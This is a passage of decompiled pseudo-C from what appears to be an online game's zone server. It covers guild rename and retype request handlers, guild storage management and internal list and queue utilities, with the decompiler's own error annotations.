*)v5 + 836))(v5); Name4::operator_((int)(v15 + 9), netcmd + 3); v15[8] = *(_BYTE *)(netcmd + 2); v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 25); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : Packet Too Long", 25) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); v21 = -1; goto LABEL_11; } goto LABEL_17; } v18 = 6725; } else { v18 = 6723; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173, v18); LABEL_17: v21 = -1; goto LABEL_11; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173, 6721); LABEL_31: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"); } // 461F80: could not find valid save-restore pair for ebx //----- (004622B0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ(int a1, int a2, int netcmd, int len, int handle) { int v5; // esi@1 int v6; // eax@5 const char *v7; // ST08_4@8 signed int v8; // eax@8 ItemInventoryCell *v9; // edi@14 SpecialItemIdent *v10; // ebp@14 unsigned int v11; // eax@18 unsigned __int16 v12; // ax@20 ItemDataBox::ItemDataBoxIndex *v13; // eax@20 int v14; // eax@22 char *v15; // edi@26 char v16; // al@26 ZoneBaseSession *v17; // eax@27 signed int v18; // [sp-4h] [bp-24h]@15 signed int v19; // [sp+0h] [bp-20h]@4 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v21; // [sp+1Ch] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; if ( !(_S13_23 & 1) ) { _S13_23 |= 1u; cmc_49.cmc_AllowMode = 86; atexit(_E14_18); } if ( !((1 << **(_BYTE **)(v5 + 3568)) & cmc_49.cmc_AllowMode) ) { v19 = 6745; LABEL_30: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181, v19); goto LABEL_31; } v6 = *(_DWORD *)(v5 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 151) ) { v19 = 6746; goto LABEL_30; } if ( !(*(_BYTE *)(v5 + 69760) & 0xC) ) { v7 = (const char *)*(_BYTE *)(netcmd + 2); v8 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)(v5 + 35680) + 8))( v5 + 35680, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : wrong slot"); if ( AssertClass::operator__(&shineassert, *(_BYTE *)(netcmd + 2) < v8, v7, a2) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181); LABEL_10: v21 = -1; LABEL_11: FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)(v5 + 57880) + 8))( v5 + 57880, 9, *(_BYTE *)(netcmd + 2), *(_WORD *)(v5 + 143158)) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181); goto LABEL_10; } v9 = (ItemInventoryCell *)(**(int (__thiscall ***)(_DWORD))(v5 + 35680))(v5 + 35680); v10 = ItemDataBox::idb_SpecialItems(&itemdatabox); if ( v10->sii_GuildReType == ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v9) ) { v11 = ItemInventoryCell::iic_ItemLot(v9); if ( !AssertClass::operator__( &shineassert, (signed int)v11 > 0, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : Try to use lot 0 item", 0) ) { v12 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v9); v13 = ItemDataBox::operator__(&itemdatabox, v12); v14 = v13 && v13->data; if ( AssertClass::operator__( &shineassert, v14, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181, 6749); v21 = -1; goto LABEL_11; } v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29879; *((_WORD *)v15 + 1) = *(_WORD *)(v5 + 4); *((_DWORD *)v15 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); v15[9] = *(_BYTE *)(netcmd + 3); v15[8] = *(_BYTE *)(netcmd + 2); v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : Packet Too Long", 10) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); v21 = -1; goto LABEL_11; } goto LABEL_17; } v18 = 6749; } else { v18 = 6747; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181, v18); LABEL_17: v21 = -1; goto LABEL_11; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181, 6745); LABEL_31: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"); } // 4622B0: could not find valid save-restore pair for ebx //----- (004625E0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_GuildReName(char nItemSlot, __int128 sGuildName) { unsigned int v2; // [sp+0h] [bp-4h]@1 v2 = (unsigned int)&v2 ^ __security_cookie; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_GuildReName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReName"); __security_check_cookie((unsigned int)&v2 ^ v2); } //----- (00462640) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_GuildReType(char nItemSlot, char nType) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReType"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_GuildReType"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReType"); } //----- (00462690) -------------------------------------------------------- #error "462690: undefined or illegal type '#734' (funcsize=203)" //----- (00462970) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 int v3; // ebp@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // esi@3 _iobuf *v7; // eax@5 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 int v10; // eax@9 unsigned int v11; // ecx@9 char *v12; // ecx@9 char *v13; // ST04_4@9 DebugLogging *v14; // eax@9 DebugLogging *v15; // eax@9 char *v16; // edi@10 ZoneBaseSession *v17; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 71609); if ( v2 < 0x80u && (v3 = 18 * v2 + 218775096, 18 * v2 != -218775096) ) { if ( *((_WORD *)v1 + 2) == queue_GuildReName.mq_Buffer[v2].handle ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29873; *((_WORD *)v16 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_DWORD *)v16 + 2) = *(_DWORD *)(v3 + 2); *((_DWORD *)v16 + 3) = *(_DWORD *)(v3 + 6); *((_DWORD *)v16 + 4) = *(_DWORD *)(v3 + 10); *((_DWORD *)v16 + 5) = *(_DWORD *)(v3 + 14); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 24) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess : Packet Too Long", 24); } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 776))(v1, 29, 173, 6720); } else { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); v13 = v12; *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; v14 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReName Null "); v15 = DebugLogging::operator<<(v14, v13); DebugLogging::operator<<(v15, &deb_LF); } } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReName Null return "); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_63450C); v9 = DebugLogging::operator<<(v8, v5); DebugLogging::operator<<(v9, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00462BD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 int v3; // ebp@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // esi@3 _iobuf *v7; // eax@5 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 int v10; // eax@9 unsigned int v11; // ecx@9 char *v12; // ecx@9 char *v13; // ST04_4@9 DebugLogging *v14; // eax@9 DebugLogging *v15; // eax@9 char *v16; // edi@10 ZoneBaseSession *v17; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 71610); if ( v2 < 0x80u && (v3 = 4 * v2 + 218774576, 4 * v2 != -218774576) ) { if ( *((_WORD *)v1 + 2) == queue_GuildReType.mq_Buffer[v2].handle ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29881; *((_WORD *)v16 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); v16[8] = *(_BYTE *)(v3 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess : Packet Too Long", 9); } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 776))(v1, 29, 181, 6744); } else { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); v13 = v12; *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; v14 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReType Null "); v15 = DebugLogging::operator<<(v14, v13); DebugLogging::operator<<(v15, &deb_LF); } } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReType Null return "); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_63450C); v9 = DebugLogging::operator<<(v8, v5); DebugLogging::operator<<(v9, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00462E20) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { MemoryQueue *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x12u, 128, (void (__thiscall *)(void *))MemoryQueueElement::MemoryQueueElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mq_Pointer.mask = 127; v1->mq_Pointer.value = 0; } //----- (00462E60) -------------------------------------------------------- void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this) { _eh_vector_destructor_iterator_( this, 0x12u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00462E80) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReName *content) { unsigned int v3; // eax@1 char *v4; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; v4 = (char *)&this->mq_Buffer[this->mq_Pointer.value].content; *(_QWORD *)v4 = *(_QWORD *)&content->sGuildName.n4_name[0]; *((_QWORD *)v4 + 1) = *(_QWORD *)&content->sGuildName.n4_name[8]; return LOWORD(this->mq_Pointer.value); } //----- (00462EE0) -------------------------------------------------------- #error "462EE0: undefined or illegal type '#734' (funcsize=209)" //----- (004631E0) -------------------------------------------------------- char __thiscall GuildStorage::GuildStorageElement::gse_GuildCheck(GuildStorage::GuildStorageElement *this, unsigned int guild) { return this->gse_Guild == guild; } //----- (004631F0) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::GuildStorageElement(GuildStorage::GuildStorageElement *this) { GuildStorage::GuildStorageElement *v1; // esi@1 v1 = this; ItemGuildStorage::ItemGuildStorage(&this->gse_Storage); v1->gse_Guild = 0; } //----- (00463220) -------------------------------------------------------- char __thiscall GuildStorage::GuildStorageElement::gse_FreeDeactivate(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 handle) { if ( !this->gse_Activate ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); return 1; } //----- (00463240) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_Deactivate(GuildStorage::GuildStorageElement *this) { this->gse_Activate = 0; } //----- (00463250) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_SetActivate(GuildStorage::GuildStorageElement *this) { this->gse_Activate = 1; } //----- (00463260) -------------------------------------------------------- int __thiscall GuildStorage::GuildStorageElement::gse_GuildCompare(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 hnd, GuildStorage::GuildStorageElement *key) { return key->gse_Guild - this->gse_Guild; } //----- (00463280) -------------------------------------------------------- unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetMoney(GuildStorage::GuildStorageElement *this) { return this->gse_Cen; } //----- (00463290) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_SetMoney(GuildStorage::GuildStorageElement *this, unsigned __int64 set_cen) { this->gse_Cen = set_cen; } //----- (004632B0) -------------------------------------------------------- unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetToken(GuildStorage::GuildStorageElement *this) { return this->gse_Token; } //----- (004632C0) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_SetToken(GuildStorage::GuildStorageElement *this, unsigned __int64 nToken) { this->gse_Token = nToken; } //----- (004632E0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 642978: using guessed type int (__stdcall *List_GuildStorage__GuildStorageElement____vftable_[3])(__int16 hnd); //----- (00463300) -------------------------------------------------------- #error "463300: undefined or illegal type '#734' (funcsize=84)" //----- (00463400) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageManager::_GuildStorageManager(GuildStorage::GuildStorageManager *this) { GuildStorage::GuildStorageManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->gsm_StorageArray, 0x1070u, 300, (void (__thiscall *)(void *))GuildStorage::GuildStorageElement::_GuildStorageElement); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 642978: using guessed type int (__stdcall *List_GuildStorage__GuildStorageElement____vftable_[3])(__int16 hnd); //----- (00463470) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageClose(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageClose"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildStorageClose"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_WORD *)v1 + 34242) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageClose"); } //----- (004634D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageError(void *this, __int16 err) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageError"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildStorageError"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29842; *((_WORD *)v3 + 1) = err; v3[20] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 21) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_GuildStorageError : Packet Too Long", 21); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageError"); } //----- (004635C0) -------------------------------------------------------- void __thiscall ShineGuildStorageWithdraw::ShineGuildStorageWithdraw(ShineGuildStorageWithdraw *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring) { char *v2; // edx@1 PROTO_NC_GUILD_STORAGEWITHDRAW_CMD *v3; // edx@1 this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildStorageWithdraw::_vftable_; this->sgsw_GuildNo = ring->gldregnum; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29844; this->sgsw_NetCommand = (NETCOMMAND *)v2; this->sgsw_WithdrawPacket = (PROTO_NC_GUILD_STORAGEWITHDRAW_CMD *)(v2 + 2); v2[2] = ring->type; this->sgsw_WithdrawPacket->isBuy = ring->isBuy; v3 = this->sgsw_WithdrawPacket; *(_QWORD *)&v3->charid.n4_name[0] = *(_QWORD *)&ring->charid.n4_name[0]; *(_QWORD *)&v3->charid.n4_name[8] = *(_QWORD *)&ring->charid.n4_name[8]; this->sgsw_WithdrawPacket->item = ring->item; this->sgsw_WithdrawPacket->slot = ring->slot; this->sgsw_WithdrawPacket->___u5.lot = ring->___u7.lot; } // 642A44: using guessed type int (__stdcall *ShineGuildStorageWithdraw___vftable_)(int, __int16 GuildInven); //----- (00463640) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(GuildStorage::GuildStorageManager *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring) { ShineGuildStorageWithdraw sgsw; // [sp+4h] [bp-1Ch]@1 int v3; // [sp+1Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; ShineGuildStorageWithdraw::ShineGuildStorageWithdraw(&sgsw, ring); LOBYTE(v3) = 1; List::l_4AllInList( (List *)shineobjmanager.som_ListContainer[2], (ListIteratorDefault *)&sgsw); --funcallanalizer.fca_stackpoint; sgsw.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v3 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member"); } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00463700) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00463750) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { unsigned __int8 v2; // al@1 const void *v3; // esi@1 FunctionEntarance _; // [sp+4h] [bp-3Ch]@1 PROTO_NC_GUILD_STORAGEWITHDRAW_RNG tempring; // [sp+8h] [bp-38h]@4 unsigned int v6; // [sp+30h] [bp-10h]@1 int v7; // [sp+3Ch] [bp-4h]@1 v6 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = LOBYTE(netcmd[1].protocol); v3 = &netcmd[1]; v7 = 0; if ( v2 < 0xAu && *(_BYTE *)v3 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { memcpy(&tempring, v3, sizeof(tempring)); GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(&gldstoramanager, &tempring); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"); } else { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"); } __security_check_cookie((unsigned int)&_ ^ v6); } //----- (00463850) -------------------------------------------------------- GuildStorage::GuildStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildStorage::GuildStorageElement *, List *, unsigned __int16, GuildStorage::GuildStorageElement *), unsigned __int16 *hnd, GuildStorage::GuildStorageElement *key) { GuildStorage::GuildStorageElement *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(GuildStorage::GuildStorageElement *, List *, unsigned __int16, GuildStorage::GuildStorageElement *); // [sp+8h] [bp-1Ch]@1 GuildStorage::GuildStorageElement *v8; // [sp+Ch] [bp-18h]@1 GuildStorage::GuildStorageElement *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (004638C0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004639E0) -------------------------------------------------------- GuildStorage::GuildStorageElement *__thiscall GuildStorage::GuildStorageManager::gsm_FindStorage(GuildStorage::GuildStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle) { List *v3; // esi@1 